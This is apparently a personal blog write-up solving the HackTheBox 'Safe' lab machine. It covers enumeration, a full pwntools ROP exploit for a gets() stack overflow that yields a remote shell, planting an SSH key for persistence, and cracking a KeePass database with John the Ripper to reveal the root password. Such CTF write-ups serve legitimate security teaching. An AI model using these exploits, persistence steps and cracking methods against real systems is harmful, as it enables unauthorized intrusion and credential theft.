Ti Kallisti

HackTheBox "Safe" Write-Up

This was an interesting one. It came with paths that are fairly uncommon in CTF machines, so I found it to be really enjoyable.

As always, we start with an nmap scan:

$ nmap -p- -A 10.10.10.147 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0) | ssh-hostkey: | 2048 6d:7c:81:3d:6a:3d:f9:5f:2e:1f:6a:97:e5:00:ba:de (RSA) | 256 99:7e:1e:22:76:72:da:3c:c9:61:7d:74:d7:80:33:d2 (ECDSA) |_ 256 6a:6b:c3:8e:4b:28:f7:60:85:b1:62:ff:54:bc:d8:d6 (ED25519) 80/tcp open http Apache httpd 2.4.25 ((Debian)) |_http-server-header: Apache/2.4.25 (Debian) |_http-title: Apache2 Debian Default Page: It works 1337/tcp open waste?

We have an SSH port (22), as is common with Linux boxes. Then there's a really interesting port (1337), that even nmap isn't sure about what it is. Let's start with the HTTP port (80), though, as it is the most common vector for footholds. When we open the page in our browser, we can only see the default Apache 2 page. But that's no reason to stop looking. Using gobuster, we can find pages and URIs that might deliver more information.

$ gobuster dir -w my_wordlist.txt -l -t 100 -e -k -x .txt,.php -u http://10.10.10.147/ -b "404" -q http://10.10.10.147/myapp (Status: 200) [Size: 16592]

There seems to be a /myapp URI. When we browse to it, we can download a file. Let's take look at it:

$ file myapp myapp: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=fcbd5450d23673e92c8b716200762ca7d282c73a, not stripped

As we can see, the file is and ELF file, a *nix executable, compiled for 64-bit systems. Using chmod we can execute the file and see what it does:

$ chmod +x myapp $ ./myapp 14:44:19 up 1:03, 1 user, load average: 0.94, 1.47, 1.81 What do you want me to echo back? Hello Hello

It seems like the program just prints the current time, waits for input and then echoes it back. Not really the most complex of programs. However, using gdb (in my case including the peda extension), we can take a closer look at this file:

$ gdb ./myapp gdb-peda$ disass main Dump of assembler code for function main: 0x40115f [+0]: push rbp 0x401160 [+1]: mov rbp,rsp 0x401163 [+4]: sub rsp,0x70 0x401167 [+8]: lea rdi,[rip+0xe9a] # 0x402008 0x40116e [+15]: call 0x401040 [system@plt] 0x401173 [+20]: lea rdi,[rip+0xe9e] # 0x402018 0x40117a +27]: mov eax,0x0 0x40117f [+32]: call 0x401050 [printf@plt] 0x401184 [+37]: lea rax,[rbp-0x70] 0x401188 [+41]: mov esi,0x3e8 0x40118d [+46]: mov rdi,rax 0x401190 [+49]: mov eax,0x0 0x401195 [+54]: call 0x401060 [gets@plt] 0x40119a [+59]: lea rax,[rbp-0x70] 0x40119e [+63]: mov rdi,rax 0x4011a1 [+66]: call 0x401030 [puts@plt] 0x4011a6 [+71]: mov eax,0x0 0x4011ab [+76]: leave 0x4011ac [+77]: ret

We can see that there is a gets() call (0x401195) and before that, 112 (or 0x70 in hexadecimal) bytes are reserved on the stack (0x401184). This means we have a buffer overflow here, as there is no limit as to how many bytes we can provide using gets(). Any string longer than 112 will suffice to cause a buffer overflow. A stack-based buffer overflow, as in this case, helps us rewrite the information on the stack. With the right payload, we can overwrite the return address at the end and let the program continue wherever we want. A prime target is always a system() call, as it can allow us to get a shell. In this case, we even have one such call right in the main function (0x40116e). The other part of this kind of exploit is to get the right parameter (e.g. "/bin/sh") into the rdi register, as this holds the first parameter of a function. The thing with strings, though, is that we need to pass the address of the string rather than the string itself, as a string (in C) is nothing other than an array of chars, accessed using a char pointer.

But let's go step by step. First would be the pop rdi gadget. What this means is a part of a program where a "pop rdi" is followed by a "ret". The "pop rdi" puts the data at the top of the stack into the rdi register. We do want to avoid tons of codes that's outside of our control to be executed afterwards, though, so an immediate "ret" will take the program to where we want it to be - as we still control the return address. As I said before, we need the address of the string, rather than the string itself. In a typical ROP scenario, one would use the "/bin/sh" string which resides in glibc. But that is somewhat complex. The system() call can also be found in glibc, so that's another reason to return to libc in a typical ROP scenario. However, in our case, we already have the system() call inside our program. Maybe the string is also there, somewhere. For that, we should take an even closer look than before:

gdb-peda$ info functions All defined functions: Non-debugging symbols: 0x401000 _init 0x401030 puts@plt 0x401040 system@plt 0x401050 printf@plt 0x401060 gets@plt 0x401070 _start 0x4010a0 _dl_relocate_static_pie 0x4010b0 deregister_tm_clones 0x4010e0 register_tm_clones 0x401120 __do_global_dtors_aux 0x401150 frame_dummy 0x401152 test 0x40115f main 0x4011b0 __libc_csu_init 0x401210 __libc_csu_fini 0x401214 _fini

The "info functions" command list all defined functions. Most of those are standard C functions, with the exception of two: "main", which we already analyzed, and "test". So let's take a look at the latter:

gdb-peda$ disass test Dump of assembler code for function test: 0x401152 [+0]: push rbp 0x401153 [+1]: mov rbp,rsp 0x401156 [+4]: mov rdi,rsp 0x401159 [+7]: jmp r13 0x40115c [+10]: nop 0x40115d [+11]: pop rbp 0x40115e [+12]: ret End of assembler dump.

No string here, but something way more interesting. The "mov rdi,rsp" (0x401156) puts the address of the stack into the rdi register. So, if at that moment a string of our choosing is at the top of the stack, we have a fitting parameter for the system() call, namely the address of that string. Right after is a "jmp r13" call, so the optimal case was if the address of the system call were in the r13 register. So instead of looking for a "pop rdi" gadget, we should now look for a "pop r13" gadget. A tool that helps with that task is ropper:

$ropper --search "pop r13" -f myapp [INFO] Load gadgets from cache [LOAD] loading... 100% [LOAD] removing double gadgets... 100% [INFO] Searching for gadgets: pop r13 [INFO] File: myapp 0x401206: pop r13; pop r14; pop r15; ret; => pop_r13

There we have our "pop r13". And a "ret" soon afterwards. Not directly, though, there are two others pops before the ret. But that shouldn't bother us too much, we just have to put some stuff on the stack to fill r14 and r15 with, and we are good to go.

FYI: At the end of the main function, before the "ret", there is a "leave". As this is a 64-bit binary, it puts the top 8 bytes(=64 bits) of the stack into the "rbp" register. We know from before that the buffer overflow occurs at strings longer than 112 characters. This means that characters 113-120 are put into the rbp register. We can use that to our advantage, because, as can be seen above, the "test" function starts with a "push rbp" (0x401152). So if these characters (112-120) are the string we want to pass as a parameter, they get put into rbp and then put onto the stack just before we move the stack address in rdi - in other words: With the "test" function, we can pass any string we want as a parameter to the system() call.

For ease of use, we can use pwntools, a python framework that makes exploit development a bit easier. The finished code, as a sum of the previous work, would then look like this:

# With this, we can use the functionalities of pwntools from pwn import *

# This tells pwntools that we are exploiting a 64-bit Linux binary context(os="linux",arch="amd64")

# This the the binary we want to exploit p = process("./myapp")

# As we discovered, the buffer overflow requires a string of more than 112 characters # We can use any characters, the string just needs to be 112 characters long junk = ("A" * 112).encode()

# The parameter for the system call, /bin/sh will give us a shell # Strings are null-terminated, so we need to put a nullbyte (\x00) at the end # Turns out, the resulting string is exactly 8 bytes long, perfect for putting it into rbp shell = "/bin/sh\x00".encode()

# This is the address of the "pop r13" gadget pop_r13 = p64(0x401206)

# This is the address of the "test" function, where we put the stack pointer into rdi mov_rdi_rsp = p64(0x401152)

# Some null bytes (p64 makes them exactly 8 bytes long) # These are needed to fill r14 and r15 in the "pop 13" gadget null = p64(0x0)

# The address of the system call() system = p64(0x40116e)

# Putting it all together # First comes to junk to trigger the buffer overflow # Then the "/bin/sh", which will temporarily be put into rbp, then on the stack, then into rdi # Then comes the first return address, in our case the "pop r13" gadget # Then the system call, which will be put into r14 # Then the two nullbyte strings to fill r14 and 15 # And finally the part that puts our string into rdi and then jumps to r13 p.sendline(junk + shell + pop_r13 + system + null + null + mov_rdi_rsp)

# This allows us to interact with the program after we exploit it p.interactive()

Let's give it a run:

$ python3 exploit.py [+] Starting local process './myapp': pid 4232 [*] Switching to interactive mode 12:32:58 up 1:11, 1 user, load average: 0.39, 0.71, 0.84 What do you want me to echo back? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/bin/sh $ echo 123 123

As we can see, we have a fully functioning shell! Thing is, this is only the program we have locally, so the shell we have is also just on our own machine. But remember that seemingly arbitrary port from the initial port scan (1337)? Let's connect to it using netcat and see what happens:

$ nc 10.10.10.147 1337 06:37:27 up 58 min, 0 users, load average: 0.00, 0.00, 0.00 ls What do you want me to echo back? ls

It seems a bit clunky, but it's essentially the "myapp" program. If the exploit works locally, then it must also work remotely, right? Thankfully, switching from local to remote is a piece of cake with pwntools, we just have to change the following line:

p = process("./myapp")

to this:

p = remote("10.10.10.147", 1337)

and we're good to go:

$ python3 exploit.py [+] Opening connection to 10.10.10.147 on port 1337: Done [*] Switching to interactive mode 06:40:29 up 1:01, 0 users, load average: 0.00, 0.00, 0.00 $ id uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),112(bluetooth)

Et voilĂ , a shell on the target system! Let's grab the user flag:

$ ls /home user $ cd /home/user $ ls IMG_0545.JPG IMG_0546.JPG IMG_0547.JPG IMG_0548.JPG IMG_0552.JPG IMG_0553.JPG myapp MyPasswords.kdbx user.txt $ cat user.txt

And we immediately have a trace for the next step, a file called "MyPasswords.kdbx" and some JPGs. The JPGs are most likely the key files for the Keepass file (*.kdbx). With that and our old friend John The Ripper we can get crackin'. First we have to get the files on our machine, though, so first things first.

$ python --version /bin/sh: 18: python: not found $ python3 --version /bin/sh: 19: python3: not found

Sadly, we don't seem to have access to python, otherwise we could have just started a Simple HTTP Server and downloaded the files using curl or wget. What we DO have access to, though, is the .ssh directory in the users home folder:

$ ls -la | grep ssh drwx------ 2 user user 4096 Aug 19 06:51 .ssh

We can just create a new keypair and add the public key to the authorized keys file. On our local machine, we create the keypair with the following command:

$ ssh-keygen -f id_ed25519 -t ed25519

We can use any keytype, but ed25519 has a relatively short keylength, making it more comfortable to work with. We can read the public key with the command:

cat id_ed25519.pub

We copy it, and then, on the remote machine, we do:

echo [SSH Public Key] > /home/user/.ssh/authorized_keys

(Do remember to replace the placeholder with the actual key)

From our local machine, we can then connect via SSH using:

$ ssh -i id_ed25519 user@10.10.10.147

Or, using the SSH-based scp, we can copy the files we want to our local machine:

$ scp -i id_ed25519 user@10.10.10.147:/home/user/\*.JPG . $ scp -i id_ed25519 user@10.10.10.147:/home/user/MyPasswords.kdbx .

As mentioned before, we can use John The Ripper to crack the files. But instead of trying every image manually, we can write a short bash script to check all the JPGs for us:

for i in $(ls *.JPG); do keepass2john -k $i MyPasswords.kdbx | sed "s/MyPasswords/$i/" >> jpg_hashes ; done

The "sed" at the end helps us identify which hash belongs to which file, otherwise the hashes would all be labeled "MyPasswords", so we would not really have a way to identify them. We then have a list for the password hashes per file. Now we just need to give John some time to crack it. Oh, and a wordlist. One that is really great for CTFs is rockyou, which stems from a hack back in '09 of a company called - you guessed it - RockYou. Putting it all together, we can attempt to crack the passwords using:

john --wordlist=rockyou.txt jpg_hashes Loaded 6 password hashes with 6 different salts (KeePass [SHA256 AES 32/64]) IMG_0547.JPG:bullshit

There we have it. The correct keyfile is "IMG_0547.JPG" and the password is "bullshit". With that information, and the tool kplcli, we can access the file with the promising name "MyPasswords.kdbx":

$ kpcli --kdb=MyPasswords.kdbx --key=IMG_0547.JPG kpcli:/> ls === Groups === MyPasswords/ kpcli:/> cd MyPasswords kpcli:/MyPasswords> ls === Groups === eMail/ General/ Homebanking/ Internet/ Network/ Recycle Bin/ Windows/ === Entries === 0. Root password kpcli:/MyPasswords> show 0 Title: Root password Uname: root Pass: u3v2249dl9ptv465cogl3cnpo3fyhk URL: Notes:

And there we have our root password. Let's go back via SSH and become root:

$ ssh -i id_ed25519 user@10.10.10.147 user@safe:~$ su root Password: root@safe:/home/user# cd /root root@safe:~# cat root.txt

And we have the root flag!